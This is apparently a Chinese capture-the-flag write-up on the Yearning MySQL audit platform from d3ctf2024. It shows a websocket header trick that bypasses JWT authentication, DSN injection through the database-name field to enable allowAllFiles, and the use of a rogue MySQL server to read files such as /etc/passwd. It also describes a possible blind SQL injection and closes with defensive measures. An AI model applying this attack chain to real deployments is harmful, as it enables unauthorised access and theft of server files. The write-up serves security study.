记一次golang的dsn注入之旅
字数 1625 2025-08-19 12:41:58
Golang DSN注入与审计实战:以Yearning-MySQL审计平台为例
0x01 前言
本文详细分析d3ctf2024中Yearning-MySQL审计平台的漏洞,重点讲解Golang代码审计技巧、DSN注入原理及rouge_mysql_server工具的使用。通过本案例,您将掌握:
- Golang Web应用的安全审计方法
- DSN注入漏洞的原理与利用
- Websocket协议的安全隐患
- 使用rouge_mysql_server进行攻击验证
0x02 环境搭建
前端搭建
# 克隆前端项目
git clone https://github.com/cookieY/Yearning-gemini
# 设置npm源
npm config set registry https://registry.npm.taobao.org
# 编译前端
cd Yearning-gemini
npm install --force
npm install -legacy-peer-deps
npm run build
# 将编译结果移动到后端目录
mv dist ../Yearning/src/service
后端搭建
# 克隆后端项目
git clone https://github.com/cookieY/Yearning
# 解决依赖
cd Yearning
go mod tidy
# 运行
go run main.go
重要配置说明:
conf.toml中host不能设置为127.0.0.1- 本地docker MySQL数据库名默认为"Yearning"
0x03 Websocket协议安全分析
Websocket协议特点
- 基于HTTP协议改进,实现客户端与服务端双向通信
- 连接建立后保持持久连接,直到主动断开
- 适用于实时应用:网页游戏、聊天、证券交易等
安全风险点
在router.go中,/api/v2路由组使用JWTWithConfig中间件进行鉴权,但存在特殊绕过:
if isWebsocket(c.Request()) {
return
}
绕过条件:
- HTTP请求头包含:
Connection: upgrade Upgrade: websocket - Websocket请求自动包含这些头部,可直接绕过鉴权
验证工具:
推荐使用Apifox进行Websocket请求测试
0x04 DSN注入漏洞分析
漏洞位置
fetchtableinfo函数中的u.FetchTableFieldsOrIndexes可设置DSN参数
漏洞原理
-
关键逻辑:
- 当
source_id无效时,model.DSN其他字段会被置空 model.NewDBSub函数中先FormatDSN拼接字符串,再ParseDSN解析成对象
- 当
-
DSN处理流程:
InitDSN执行formatDSN操作(结构体→字符串)driver.New执行parseDSN操作(字符串→结构体)
-
注入点:
- 只有
DBName字段完全可控 parseDSN是倒序解析,寻找/符号后的数据库名
- 只有
DSN格式分析
合法DSN格式示例:
admin:123456@tcp(192.168.193.205:3307)/foo?allowAllFiles=true&
关键参数:
allowAllFiles=true:允许加载本地文件(攻击必要条件)
0x05 攻击实施
攻击准备
-
使用rmb122的rogue_mysql_server项目:
git clone https://github.com/rmb122/rogue_mysql_server cd rogue_mysql_server # 生成配置文件模板 ./rogue_mysql_server -generate # 启动恶意服务器 ./rogue_mysql_server -config config.yaml -
确保VPS安全组开放相应端口
攻击步骤
-
构造恶意Websocket请求:
- 地址:
ws://target/api/v2/fetch/fields - 注入恶意DSN到DBName参数
- 地址:
-
请求示例格式:
{ "source_id": "invalid_id", "db_name": "malicious_db?allowAllFiles=true&", // 其他必要参数... } -
通过rogue_mysql_server读取目标文件:
- 成功读取
/etc/passwd等敏感文件
- 成功读取
0x06 其他漏洞点
SQL盲注
FetchTableFieldsOrIndexes函数中的show语句存在字符串拼接,可能导致SQL盲注:
// 伪代码示例
query := "SHOW " + userInput + " FROM..."
利用方式:
- 通过时间延迟等技术进行盲注攻击
- 需要进一步分析具体业务逻辑
0x07 防御措施
-
DSN注入防御:
- 严格校验DBName等输入参数
- 使用预定义的DSN模板而非拼接
- 禁用危险参数如
allowAllFiles
-
Websocket安全:
- 即使Websocket请求也应进行完整鉴权
- 不要因为协议不同而跳过安全检查
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用参数化查询避免SQL注入
-
最小权限原则:
- 数据库账户使用最小必要权限
- 禁止FILE等危险权限
0x08 总结
通过本案例我们学习到:
- Golang应用审计需要关注DSN处理逻辑
- Websocket协议实现不当可能导致鉴权绕过
- DSN注入可导致RCE或敏感信息泄露
- rogue_mysql_server是验证MySQL相关漏洞的有效工具
关键收获:
- 深入理解Golang数据库连接处理机制
- 掌握DSN注入的完整攻击链
- 学习到实际审计中的调试技巧和工具使用